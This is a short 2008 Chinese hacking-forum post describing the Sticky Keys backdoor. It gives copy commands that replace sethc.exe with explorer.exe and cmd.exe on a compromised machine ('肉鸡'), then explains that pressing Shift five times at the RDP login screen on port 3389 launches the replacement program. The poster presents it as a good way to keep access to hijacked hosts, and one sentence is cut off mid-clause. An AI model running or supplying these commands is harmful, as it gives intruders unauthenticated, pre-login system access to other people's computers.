|
 
- 帖子
- 575
- 积分
- 1897
- 威望
- 2479
- 金钱
- 15914
- 在线时间
- 175 小时
             
|
在肉鸡上执行命令
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
以后再连接肉鸡3389，敲5下shift键就
据说很老的技术了，作为后门是个不错的思路
原理：
有人发现在登录之前连续按5下shift能够激活 粘滞键，也就是 sethc.exe
那么将这个文件替换掉，就能够执行别的程序
explorer.exe是资源管理器，其实换成CMD的话可能很多人更能够清楚的知道去做什么 |
|
发表于 2008-8-25 12:35
| 